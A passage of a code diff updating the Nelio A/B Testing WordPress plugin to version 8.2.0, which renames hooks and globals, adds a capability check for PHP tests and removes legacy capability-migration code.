+				'type'         => 'nab_forminator_form',
+				'typeLabel'    => _x( 'Forminator Form', 'text', 'nelio-ab-testing' ),
 				'extra'        => array(),
 			);
 		},
--- a/nelio-ab-testing/includes/hooks/compat/index.php
+++ b/nelio-ab-testing/includes/hooks/compat/index.php
@@ -18,6 +18,7 @@
 require_once __DIR__ . '/custom-permalinks/index.php';
 require_once __DIR__ . '/divi/index.php';
 require_once __DIR__ . '/elementor/index.php';
+require_once __DIR__ . '/external-page-script/index.php';
 require_once __DIR__ . '/fluent-forms/index.php';
 require_once __DIR__ . '/formcraft/index.php';
 require_once __DIR__ . '/formidable-forms/index.php';
--- a/nelio-ab-testing/includes/hooks/experiments/css/edit.php
+++ b/nelio-ab-testing/includes/hooks/experiments/css/edit.php
@@ -136,6 +136,7 @@
 	echo '<style id="nab-css-style" type="text/css"></style>';
 }
 add_action( 'wp_head', __NAMESPACE__ . 'add_css_style_tag', 9999 );
+add_action( 'nab_external_page_script_print_assets', __NAMESPACE__ . 'add_css_style_tag', 9999 );

 /**
  * Callback to register the CSS Editor page in the Dashboard.
--- a/nelio-ab-testing/includes/hooks/experiments/javascript/edit.php
+++ b/nelio-ab-testing/includes/hooks/experiments/javascript/edit.php
@@ -151,27 +151,3 @@
 	return $disabled;
 }
 add_filter( 'nab_disable_split_testing', __NAMESPACE__ . 'should_split_testing_be_disabled' );
-
-/**
- * Callback to add a script that sets the iframe loading status in the parent’s nab/data store.
- *
- * @return void
- */
-function set_iframe_loading_status() {
-	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
-	if ( ! isset( $_GET['nab-javascript-previewer'] ) ) {
-		return;
-	}
-
-	$mkscript = function ( $enabled ) {
-		return function () use ( $enabled ) {
-			printf(
-				'<script type="text/javascript">window.parent.wp.data.dispatch("nab/data").setPageAttribute("javascript-preview/isLoading",%s)</script>',
-				wp_json_encode( $enabled )
-			);
-		};
-	};
-	add_action( 'wp_head', $mkscript( true ), 1 );
-	add_action( 'wp_footer', $mkscript( false ), 1 );
-}
-add_action( 'init', __NAMESPACE__ . 'set_iframe_loading_status' );
--- a/nelio-ab-testing/includes/hooks/experiments/post/load.php
+++ b/nelio-ab-testing/includes/hooks/experiments/post/load.php
@@ -192,6 +192,7 @@
 		}

 		remove_filter( 'the_content', $fix_content, 11 );
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		$alt_content = apply_filters( 'the_content', $alt_content );
 		add_filter( 'the_content', $fix_content, 11 );
 		return $alt_content;
@@ -214,6 +215,7 @@
 		}

 		remove_filter( 'the_excerpt', $fix_excerpt, 11 );
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 		$alt_excerpt = apply_filters( 'the_excerpt', $alt_excerpt );
 		add_filter( 'the_excerpt', $fix_excerpt, 11 );
 		return $alt_excerpt;
--- a/nelio-ab-testing/includes/hooks/woocommerce/compat/custom-hooks.php
+++ b/nelio-ab-testing/includes/hooks/woocommerce/compat/custom-hooks.php
@@ -40,7 +40,7 @@
 	// Source: WC_Data » get_hook_prefix() . $prop.
 	add_filter( 'woocommerce_order_item_get_name', $replace_name, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_product_name', __NAMESPACE__ . 'create_product_name_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_product_name', __NAMESPACE__ . 'create_product_name_hook', 10, 3 );

 /**
  * Callback to create product description hook.
@@ -90,7 +90,7 @@
 	};
 	add_filter( 'woocommerce_product_get_description', $replace_product_description, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_product_description', __NAMESPACE__ . 'create_product_description_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_product_description', __NAMESPACE__ . 'create_product_description_hook', 10, 3 );

 /**
  * Callback to create product short description hook.
@@ -163,7 +163,7 @@
 	};
 	add_filter( 'woocommerce_product_get_short_description', $replace_product_short_description, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_product_short_description', __NAMESPACE__ . 'create_product_short_description_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_product_short_description', __NAMESPACE__ . 'create_product_short_description_hook', 10, 3 );

 /**
  * Callback to pcreate product image ID hook.
@@ -198,7 +198,7 @@
 	};
 	add_filter( 'get_post_metadata', $replace_image_id_meta, $priority, 3 );
 }
-add_action( 'add_nab_filter_for_woocommerce_product_image_id', __NAMESPACE__ . 'create_product_image_id_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_product_image_id', __NAMESPACE__ . 'create_product_image_id_hook', 10, 3 );

 /**
  * Callback to create product gallery hook.
@@ -228,7 +228,7 @@
 	// Source: WC_Data » get_hook_prefix() . $prop.
 	add_filter( 'woocommerce_product_get_gallery_image_ids', $replace_gallery_image_ids, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_product_gallery_ids', __NAMESPACE__ . 'create_product_gallery_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_product_gallery_ids', __NAMESPACE__ . 'create_product_gallery_hook', 10, 3 );

 /**
  * Callback to create product regular price hook.
@@ -267,7 +267,7 @@
 	add_filter( 'woocommerce_product_get_price', $replace_regular_price, $priority, 2 );
 	add_filter( 'woocommerce_product_get_regular_price', $replace_regular_price, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_product_regular_price', __NAMESPACE__ . 'create_product_regular_price_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_product_regular_price', __NAMESPACE__ . 'create_product_regular_price_hook', 10, 3 );

 /**
  * Callback to create product sale price hook.
@@ -308,7 +308,7 @@
 	add_filter( 'woocommerce_product_get_price', $replace_sale_price, $priority, 2 );
 	add_filter( 'woocommerce_product_get_sale_price', $replace_sale_price, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_product_sale_price', __NAMESPACE__ . 'create_product_sale_price_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_product_sale_price', __NAMESPACE__ . 'create_product_sale_price_hook', 10, 3 );

 /**
  * Callback to fix product on sale.
@@ -457,7 +457,7 @@
 	// Source: WC_Data » get_hook_prefix() . $prop.
 	add_filter( 'woocommerce_product_variation_get_description', $replace_description, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_variation_description', __NAMESPACE__ . 'create_variation_description_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_variation_description', __NAMESPACE__ . 'create_variation_description_hook', 10, 3 );

 /**
  * Callback to create variation image ID hook.
@@ -488,7 +488,7 @@
 	// Source: WC_Data » get_hook_prefix() . $prop.
 	add_filter( 'woocommerce_product_variation_get_image_id', $replace_image_id, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_variation_image_id', __NAMESPACE__ . 'create_variation_image_id_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_variation_image_id', __NAMESPACE__ . 'create_variation_image_id_hook', 10, 3 );

 /**
  * Callback to create variation regular price hook.
@@ -525,7 +525,7 @@
 	add_filter( 'woocommerce_variation_prices_regular_price', $replace_regular_price, $priority, 2 );
 	add_filter( 'woocommerce_variation_prices_price', $replace_regular_price, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_variation_regular_price', __NAMESPACE__ . 'create_variation_regular_price_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_variation_regular_price', __NAMESPACE__ . 'create_variation_regular_price_hook', 10, 3 );

 /**
  * Callback to create variation sale price hook.
@@ -563,7 +563,7 @@
 	add_filter( 'woocommerce_variation_prices_sale_price', $replace_sale_price, $priority, 2 );
 	add_filter( 'woocommerce_variation_prices_price', $replace_sale_price, $priority, 2 );
 }
-add_action( 'add_nab_filter_for_woocommerce_variation_sale_price', __NAMESPACE__ . 'create_variation_sale_price_hook', 10, 3 );
+add_action( 'nab_add_filter_for_woocommerce_variation_sale_price', __NAMESPACE__ . 'create_variation_sale_price_hook', 10, 3 );

 // ========
 // INTERNAL
--- a/nelio-ab-testing/includes/hooks/woocommerce/compat/plugins/woocommerce-product-price-based-on-countries.php
+++ b/nelio-ab-testing/includes/hooks/woocommerce/compat/plugins/woocommerce-product-price-based-on-countries.php
@@ -44,7 +44,7 @@
 	$variation_data = get_post_meta( $alternative_id, '_nab_variation_data', true );
 	if ( empty( $variation_data ) ) {

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_product_regular_price',
 			function ( $price, $product_id ) use ( &$alternative, $control_id ) {
 				/** @var string $price      */
@@ -67,7 +67,7 @@
 			2
 		);

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_product_sale_price',
 			function ( $price, $product_id, $regular_price ) use ( &$alternative, $control_id ) {
 				/** @var string $price         */
@@ -93,7 +93,7 @@

 	} else {

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_variation_regular_price',
 			function ( $price, $product_id, $variation_id ) use ( &$variation_data, $control_id ) {
 				/** @var string $price        */
@@ -115,7 +115,7 @@
 			3
 		);

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_variation_sale_price',
 			function ( $price, $product_id, $regular_price, $variation_id ) use ( &$variation_data, $control_id ) {
 				/** @var string $price         */
--- a/nelio-ab-testing/includes/hooks/woocommerce/experiments/bulk-sale/load.php
+++ b/nelio-ab-testing/includes/hooks/woocommerce/experiments/bulk-sale/load.php
@@ -67,7 +67,7 @@

 		return $regular_price * ( 100 - $alternative['discount'] ) / 100;
 	};
-	add_nab_filter( 'woocommerce_product_sale_price', $get_sale_price, 99, 3 );
-	add_nab_filter( 'woocommerce_variation_sale_price', $get_sale_price, 99, 3 );
+	nab_add_filter( 'woocommerce_product_sale_price', $get_sale_price, 99, 3 );
+	nab_add_filter( 'woocommerce_variation_sale_price', $get_sale_price, 99, 3 );
 }
 add_action( 'nab_nab/wc-bulk-sale_load_alternative', __NAMESPACE__ . 'load_alternative_discount', 10, 3 );
--- a/nelio-ab-testing/includes/hooks/woocommerce/experiments/product/load.php
+++ b/nelio-ab-testing/includes/hooks/woocommerce/experiments/product/load.php
@@ -92,7 +92,7 @@
 		do_action( 'nab_load_proper_alternative_woocommerce_product', $alt_product, $experiment_id );
 	}

-	add_nab_filter(
+	nab_add_filter(
 		'woocommerce_product_name',
 		function ( $name, $product_id ) use ( &$alt_product ) {
 			if ( $product_id !== $alt_product->get_control_id() ) {
@@ -111,7 +111,7 @@
 	);

 	if ( $alt_product->is_description_supported() ) {
-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_product_description',
 			function ( $description, $product_id ) use ( &$alt_product ) {
 				if ( $product_id !== $alt_product->get_control_id() ) {
@@ -130,7 +130,7 @@
 		);
 	}

-	add_nab_filter(
+	nab_add_filter(
 		'woocommerce_product_short_description',
 		function ( $short_description, $product_id ) use ( &$alt_product ) {
 			if ( $product_id !== $alt_product->get_control_id() ) {
@@ -148,7 +148,7 @@
 		2
 	);

-	add_nab_filter(
+	nab_add_filter(
 		'woocommerce_product_image_id',
 		function ( $image_id, $product_id ) use ( &$alt_product ) {
 			if ( $product_id !== $alt_product->get_control_id() ) {
@@ -167,7 +167,7 @@
 	);

 	if ( $alt_product->is_gallery_supported() ) {
-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_product_gallery_ids',
 			function ( $image_ids, $product_id ) use ( &$alt_product ) {
 				if ( $product_id !== $alt_product->get_control_id() ) {
@@ -188,7 +188,7 @@

 	if ( ! $alt_product->has_variation_data() ) {

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_product_regular_price',
 			function ( $price, $product_id ) use ( &$alt_product ) {
 				if ( $product_id !== $alt_product->get_control_id() ) {
@@ -208,7 +208,7 @@
 		);

 		if ( $alt_product->is_sale_price_supported() ) {
-			add_nab_filter(
+			nab_add_filter(
 				'woocommerce_product_sale_price',
 				function ( $price, $product_id, $regular_price ) use ( &$alt_product ) {
 					if ( $product_id !== $alt_product->get_control_id() ) {
@@ -229,7 +229,7 @@
 		}
 	} else {

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_variation_description',
 			function ( $short_description, $product_id, $variation_id ) use ( &$alt_product ) {
 				/** @var int $variation_id */
@@ -249,7 +249,7 @@
 			3
 		);

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_variation_image_id',
 			function ( $image_id, $product_id, $variation_id ) use ( &$alt_product ) {
 				/** @var int $variation_id */
@@ -269,7 +269,7 @@
 			3
 		);

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_variation_regular_price',
 			function ( $price, $product_id, $variation_id ) use ( &$alt_product ) {
 				/** @var int $variation_id */
@@ -289,7 +289,7 @@
 			3
 		);

-		add_nab_filter(
+		nab_add_filter(
 			'woocommerce_variation_sale_price',
 			function ( $price, $product_id, $regular_price, $variation_id ) use ( &$alt_product ) {
 				/** @var int $variation_id */
@@ -410,7 +410,8 @@
 				return;
 			}
 			$previous_global_product = $product;
-			$product                 = $alt_product->get_control();
+			// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
+			$product = $alt_product->get_control();
 		};
 		$undo_use_control_in_add_to_cart = function () use ( &$previous_global_product ) {
 			/** @var WC_Product|null */
@@ -418,6 +419,7 @@
 			if ( null === $previous_global_product ) {
 				return;
 			}
+			// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
 			$product                 = $previous_global_product;
 			$previous_global_product = null;
 		};
@@ -470,6 +472,7 @@
 			}

 			$control = $alt_product->get_control();
+			// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
 			if ( $control && ( $control->has_attributes() || apply_filters( 'wc_product_enable_dimensions_display', $control->has_weight() || $control->has_dimensions() ) ) ) {
 				$tabs['additional_information'] = array(
 					'title'    => _x( 'Additional information', 'text (woocommerce)', 'nelio-ab-testing' ),
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-input-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-input-setting.php
@@ -16,7 +16,7 @@
  * @var string  $id          The identifier of this field.
  * @var string  $name        The name of this field.
  * @var string  $value       The concrete value of this field (or an empty string).
- * @var boolean $disabled    Whether this checkbox is disabled or not.
+ * @var boolean $disabled    Whether this input is disabled or not.
  * @var string  $placeholder Optional. A default placeholder.
  * @var string  $desc        Optional. The description of this field.
  * @var string  $more        Optional. A link with more information about this field.
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-radio-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-radio-setting.php
@@ -14,7 +14,7 @@
  *
  * @var list<array{value:string, label:string, desc?:string}> $options The list of options.
  * @var string   $name     The name of this field.
- * @var boolean  $disabled Whether this checkbox is disabled or not.
+ * @var boolean  $disabled Whether this radio is disabled or not.
  * @var string   $value    The concrete value of this field (or an empty string).
  * @var string   $desc     Optional. The description of this field.
  * @var string   $more     Optional. A link with more information about this field.
@@ -23,7 +23,7 @@
 ?>

 <?php
-foreach ( $options as $option ) {
+foreach ( $options as $nab_option ) {
 	?>
 	<p
 		<?php
@@ -33,11 +33,11 @@
 		?>
 	><input type="radio"
 		name="<?php echo esc_attr( $name ); ?>"
-		value="<?php echo esc_attr( $option['value'] ); ?>"
+		value="<?php echo esc_attr( $nab_option['value'] ); ?>"
 		<?php disabled( $disabled ); ?>
-		<?php checked( $option['value'] === $value ); ?> />
+		<?php checked( $nab_option['value'] === $value ); ?> />
 		<?php
-			$this->print_html( $option['label'] );
+			$this->print_html( $nab_option['label'] );
 		?>
 	</p>
 	<?php
@@ -45,10 +45,10 @@
 ?>

 <?php
-$described_options = array();
-foreach ( $options as $option ) {
-	if ( isset( $option['desc'] ) ) {
-		array_push( $described_options, $option );
+$nab_described_options = array();
+foreach ( $options as $nab_option ) {
+	if ( isset( $nab_option['desc'] ) ) {
+		array_push( $nab_described_options, $nab_option );
 	}
 }

@@ -73,7 +73,7 @@
 		</span></p>

 		<?php
-		if ( count( $described_options ) > 0 ) {
+		if ( count( $nab_described_options ) > 0 ) {
 			?>
 			<ul
 				style="list-style-type:disc;margin-left:3em;"
@@ -84,11 +84,11 @@
 				?>
 			>
 				<?php
-				foreach ( $described_options as $option ) {
+				foreach ( $nab_described_options as $nab_option ) {
 					?>
 					<li><span class="description">
-						<strong><?php $this->print_html( $option['label'] ); ?>.</strong>
-						<?php $this->print_html( $option['desc'] ); ?>
+						<strong><?php $this->print_html( $nab_option['label'] ); ?>.</strong>
+						<?php $this->print_html( $nab_option['desc'] ); ?>
 					</span></li>
 					<?php
 				}
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-range-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-range-setting.php
@@ -16,7 +16,7 @@
  *
  * @var string  $id             The identifier of this field.
  * @var string  $name           The name of this field.
- * @var boolean $disabled       Whether this checkbox is disabled or not.
+ * @var boolean $disabled       Whether this range is disabled or not.
  * @var int     $min            The minimum value accepted by this range.
  * @var int     $max            The maximum value accepted by this range.
  * @var int     $step           The step this range uses.
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-select-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-select-setting.php
@@ -14,7 +14,7 @@
  *
  * @var string  $id       The identifier of this field.
  * @var string  $name     The name of this field.
- * @var boolean $disabled Whether this checkbox is disabled or not.
+ * @var boolean $disabled Whether this select is disabled or not.
  * @var list<array{value:string, label:string, desc?: string, disabled?:bool}> $options The list of options.
  * @var string  $value    The concrete value of this field (or an empty string).
  * @var string  $desc     Optional. The description of this field.
@@ -30,21 +30,21 @@
 >

 	<?php
-	foreach ( $options as $option ) {
+	foreach ( $options as $nab_option ) {
 		?>
-		<option value="<?php echo esc_attr( $option['value'] ); ?>"
+		<option value="<?php echo esc_attr( $nab_option['value'] ); ?>"
 			<?php
-			if ( $option['value'] === $value ) {
+			if ( $nab_option['value'] === $value ) {
 				echo ' selected="selected"';
 			}
 			?>
 			<?php
-			if ( ! empty( $option['disabled'] ) ) {
+			if ( ! empty( $nab_option['disabled'] ) ) {
 				echo ' disabled';
 			}
 			?>
 		>
-		<?php $this->print_html( $option['label'] ); ?>
+		<?php $this->print_html( $nab_option['label'] ); ?>
 	</option>
 		<?php
 	}
@@ -53,10 +53,10 @@
 </select>

 <?php
-$described_options = array();
-foreach ( $options as $option ) {
-	if ( isset( $option['desc'] ) ) {
-		array_push( $described_options, $option );
+$nab_described_options = array();
+foreach ( $options as $nab_option ) {
+	if ( isset( $nab_option['desc'] ) ) {
+		array_push( $nab_described_options, $nab_option );
 	}
 }

@@ -81,7 +81,7 @@
 	</span></p>

 	<?php
-	if ( count( $described_options ) > 0 ) {
+	if ( count( $nab_described_options ) > 0 ) {
 		?>
 		<ul
 			style="list-style-type:disc;margin-left:3em;"
@@ -92,11 +92,11 @@
 			?>
 		>
 			<?php
-			foreach ( $described_options as $option ) {
+			foreach ( $nab_described_options as $nab_option ) {
 				?>
 				<li><span class="description">
-					<strong><?php $this->print_html( $option['label'] ); ?>.</strong>
-					<?php $this->print_html( $option['desc'] ); ?>
+					<strong><?php $this->print_html( $nab_option['label'] ); ?>.</strong>
+					<?php $this->print_html( $nab_option['desc'] ); ?>
 				</span></li>
 				<?php
 			}
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-tabs.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-tabs.php
@@ -18,17 +18,17 @@

 <h2 class="nav-tab-wrapper">
 <?php
-foreach ( $tabs as $current_tab ) {
-	if ( $current_tab['name'] === $opened_tab ) {
-		$active = ' nav-tab-active';
+foreach ( $tabs as $nab_current_tab ) {
+	if ( $nab_current_tab['name'] === $opened_tab ) {
+		$nab_active = ' nav-tab-active';
 	} else {
-		$active = '';
+		$nab_active = '';
 	}
 	printf(
 		'<a id="%1$s" class="nav-tab%3$s" href="#">%2$s</a>',
-		esc_attr( $current_tab['name'] ),
-		esc_html( $current_tab['label'] ),
-		esc_attr( $active )
+		esc_attr( $nab_current_tab['name'] ),
+		esc_html( $nab_current_tab['label'] ),
+		esc_attr( $nab_active )
 	);
 }
 ?>
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-text-area-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-text-area-setting.php
@@ -15,7 +15,7 @@
  * @var string  $id          The identifier of this field.
  * @var string  $name        The name of this field.
  * @var string  $value       The concrete value of this field (or an empty string).
- * @var boolean $disabled    Whether this checkbox is disabled or not.
+ * @var boolean $disabled    Whether this textarea is disabled or not.
  * @var string  $placeholder Optional. A default placeholder.
  * @var string  $desc        Optional. The description of this field.
  * @var string  $more        Optional. A link with more information about this field.
@@ -23,7 +23,7 @@

 ?>

-<textarea id="<?php echo esc_attr( $id ); ?>" cols="40" rows="4" placeholder="<?php echo esc_attr( $placeholder ); ?>" <?php disabled( $disabled ); ?> name="<?php echo esc_attr( $name ); ?>"><?php echo esc_html( $value ); ?></textarea>
+<textarea id="<?php echo esc_attr( $id ); ?>" placeholder="<?php echo esc_attr( $placeholder ); ?>" <?php disabled( $disabled ); ?> name="<?php echo esc_attr( $name ); ?>"><?php echo esc_html( $value ); ?></textarea>

 <?php
 if ( ! empty( $desc ) ) {
--- a/nelio-ab-testing/includes/rest/class-nelio-ab-testing-experiment-rest-controller.php
+++ b/nelio-ab-testing/includes/rest/class-nelio-ab-testing-experiment-rest-controller.php
@@ -43,7 +43,6 @@
 	 * @since  5.0.0
 	 */
 	public function init() {
-
 		add_action( 'rest_api_init', array( $this, 'register_routes' ) );
 	}

@@ -254,6 +253,13 @@
 			);
 		}

+		if ( 'nab/php' === $type && ! current_user_can( 'edit_nab_php_experiments' ) ) {
+			return new WP_Error(
+				'missing-capability',
+				_x( 'Sorry, you are not allowed to create a PHP test.', 'text', 'nelio-ab-testing' )
+			);
+		}
+
 		$experiment = nab_create_experiment( $type );
 		if ( is_wp_error( $experiment ) ) {
 			return new WP_Error(
@@ -429,6 +435,11 @@
 			return $experiment;
 		}

+		$can_be_edited = $experiment->can_be_edited();
+		if ( is_wp_error( $can_be_edited ) ) {
+			return $can_be_edited;
+		}
+
 		/** @var string */
 		$value = is_string( $parameters['name'] ) ? $parameters['name'] : '';
 		$experiment->set_name( $value );
--- a/nelio-ab-testing/includes/templates/public-result.php
+++ b/nelio-ab-testing/includes/templates/public-result.php
@@ -9,26 +9,29 @@

 defined( 'ABSPATH' ) || exit;

-$aux        = new Nelio_AB_Testing_Results_Page();
-$is_heatmap = $aux->is_heatmap_request();
-$page_title = $is_heatmap ?
+$nab_aux        = new Nelio_AB_Testing_Results_Page();
+$nab_is_heatmap = $nab_aux->is_heatmap_request();
+$nab_page_title = $nab_is_heatmap ?
 	esc_html_x( 'Nelio A/B Testing - Heatmap Viewer', 'text', 'nelio-ab-testing' ) :
 	esc_html_x( 'Nelio A/B Testing - Results', 'text', 'nelio-ab-testing' );
-$handle     = $is_heatmap ? 'nab-heatmap-results-page' : 'nab-results-page';
+$nab_handle     = $nab_is_heatmap ? 'nab-heatmap-results-page' : 'nab-results-page';

 ?><!DOCTYPE html>
 <html>
 	<head>
 		<meta name="viewport" content="width=device-width" />
 		<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
-		<title><?php echo esc_html( $page_title ); ?></title>
-		<?php do_action( 'wp_enqueue_scripts' ); ?>
-		<?php wp_print_styles( array( $handle ) ); ?>
+		<title><?php echo esc_html( $nab_page_title ); ?></title>
+		<?php
+		// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
+		do_action( 'wp_enqueue_scripts' );
+		?>
+		<?php wp_print_styles( array( $nab_handle ) ); ?>
 	</head>

 	<body class="wp-core-ui">

-	<?php if ( $is_heatmap ) { ?>
+	<?php if ( $nab_is_heatmap ) { ?>

 		<main id="nab-main" class="hide-if-no-js"></main>

@@ -42,7 +45,7 @@

 	<?php }//end if ?>

-		<?php wp_print_scripts( array( $handle ) ); ?>
+		<?php wp_print_scripts( array( $nab_handle ) ); ?>

 	</body>
 </html>
--- a/nelio-ab-testing/includes/utils/class-nelio-ab-testing-capability-manager.php
+++ b/nelio-ab-testing/includes/utils/class-nelio-ab-testing-capability-manager.php
@@ -51,7 +51,7 @@
 		$main_file = nelioab()->plugin_path . '/nelio-ab-testing.php';
 		register_activation_hook( $main_file, array( $this, 'add_capabilities' ) );
 		register_deactivation_hook( $main_file, array( $this, 'remove_capabilities' ) );
-		add_action( 'nab_updated', array( $this, 'maybe_add_capabilities_on_update' ), 10, 2 );
+		add_action( 'nab_updated', array( $this, 'add_capabilities' ) );
 	}

 	/**
@@ -121,23 +121,6 @@
 	}

 	/**
-	 * Checks if we’re updating from a version prior to 6.0.1 and, if so, it adds the required capabilities.
-	 *
-	 * @param string $this_version this version.
-	 * @param string $prev_version previous version.
-	 *
-	 * @return void
-	 *
-	 * @since 6.0.1
-	 */
-	public function maybe_add_capabilities_on_update( $this_version, $prev_version ) {
-		if ( version_compare( $prev_version, '6.0.1', '<' ) ) {
-			$this->remove_legacy_capabilities();
-			$this->add_capabilities();
-		}
-	}
-
-	/**
 	 * Returns all the custom capabilities defined by Nelio A/B Testing.
 	 *
 	 * @return list<string> list of capabilities
@@ -149,27 +132,6 @@
 	}

 	/**
-	 * Removes legacy capabilities from roles.
-	 *
-	 * @return void
-	 */
-	private function remove_legacy_capabilities() {
-		$roles = get_option( 'wp_user_roles' );
-		$roles = is_array( $roles ) ? array_keys( $roles ) : array();
-		foreach ( $roles as $role_name ) {
-			$role = get_role( $role_name );
-			if ( $role ) {
-				$caps = array_keys( $role->capabilities );
-				foreach ( $caps as $cap ) {
-					if ( 0 < strpos( $cap, 'nab_experiment' ) ) {
-						$role->remove_cap( $cap );
-					}
-				}
-			}
-		}
-	}
-
-	/**
 	 * Returns nab capabilities associated to a given role.
 	 *
 	 * @param string $role A role.
@@ -197,7 +159,10 @@

 		$admin_caps = array_merge(
 			$editor_caps,
-			array( 'manage_nab_account' )
+			array(
+				'manage_nab_account',
+				'edit_nab_php_experiments',
+			)
 		);

 		$caps = array(
--- a/nelio-ab-testing/includes/utils/functions/core.php
+++ b/nelio-ab-testing/includes/utils/functions/core.php
@@ -12,12 +12,12 @@
 /**
  * Returns this site's ID.
  *
- * @return string|false This site's ID. This option is used for accessing AWS.
+ * @return string This site's ID. This option is used for accessing AWS.
  *
  * @since 5.0.0
  */
 function nab_get_site_id() {
-	return get_option( 'nab_site_id', false );
+	return get_option( 'nab_site_id', '' );
 }

 /**
--- a/nelio-ab-testing/includes/utils/functions/helpers.php
+++ b/nelio-ab-testing/includes/utils/functions/helpers.php
@@ -543,7 +543,7 @@
  *
  * @since 5.3.4
  */
-function nablog( $log, $pre = false ) {
+function nab_log( $log, $pre = false ) {
 	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
 	if ( ! isset( $_GET['nablog'] ) ) {
 		return;
@@ -1150,13 +1150,13 @@
  *
  * @since 6.5.0
  */
-function add_nab_filter( $hook_name, $callback, $priority = 10, $args = 1 ) {
+function nab_add_filter( $hook_name, $callback, $priority = 10, $args = 1 ) {
 	/**
 	 * Wraps regular WordPress filters into our own.
 	 *
 	 * @since 6.5.0
 	 */
-	do_action( "add_nab_filter_for_{$hook_name}", $callback, $priority, $args );
+	do_action( "nab_add_filter_for_{$hook_name}", $callback, $priority, $args );
 }

 /**
--- a/nelio-ab-testing/nelio-ab-testing.php
+++ b/nelio-ab-testing/nelio-ab-testing.php
@@ -5,7 +5,7 @@
  * Plugin Name:       Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization
  * Plugin URI:        https://neliosoftware.com/testing/
  * Description:       Optimize your site based on data, not opinions. With this plugin, you will be able to perform AB testing (and more) on your WordPress site.
- * Version:           8.1.8
+ * Version:           8.2.0
  *
  * Author:            Nelio Software
  * Author URI:        https://neliosoftware.com
--- a/nelio-ab-testing/public/helpers/class-nelio-ab-testing-alternative-loader.php
+++ b/nelio-ab-testing/public/helpers/class-nelio-ab-testing-alternative-loader.php
@@ -72,7 +72,8 @@
 	 * @return list<string>
 	 */
 	public function maybe_add_variant_in_body( $classes ) {
-		if ( ! $this->get_number_of_alternatives() ) {
+		$runtime = Nelio_AB_Testing_Runtime::instance();
+		if ( ! $runtime->get_number_of_alternatives() ) {
 			return $classes;
 		}

@@ -121,45 +122,4 @@

 		}
 	}
-
-	/**
-	 * Returns the number of combined alternatives.
-	 *
-	 * @return int
-	 */
-	public function get_number_of_alternatives() {
-
-		$gcd = function ( int $n, int $m ) use ( &$gcd ): int {
-			if ( 0 === $n || 0 === $m ) {
-				return 1;
-			}
-			if ( $n === $m && $n > 1 ) {
-				return $n;
-			}
-			return $m < $n ? $gcd( $n - $m, $n ) : $gcd( $n, $m - $n );
-		};
-
-		$lcm = function ( int $n, int $m ) use ( &$gcd ): int {
-			return $m * ( $n / $gcd( $n, $m ) );
-		};
-
-		$runtime      = Nelio_AB_Testing_Runtime::instance();
-		$experiments  = $runtime->get_relevant_running_experiments();
-		$alternatives = array_values(
-			array_unique(
-				array_map(
-					function ( $experiment ) {
-						return count( $experiment->get_alternatives() );
-					},
-					$experiments
-				)
-			)
-		);
-
-		if ( empty( $alternatives ) ) {
-			return 0;
-		}
-
-		return array_reduce( $alternatives, $lcm, 1 );
-	}
 }
--- a/nelio-ab-testing/public/helpers/class-nelio-ab-testing-main-script.php
+++ b/nelio-ab-testing/public/helpers/class-nelio-ab-testing-main-script.php
@@ -82,55 +82,12 @@
 			return;
 		}

-		$experiments = $this->get_running_experiment_summaries();
-		$heatmaps    = $this->get_relevant_heatmap_summaries();
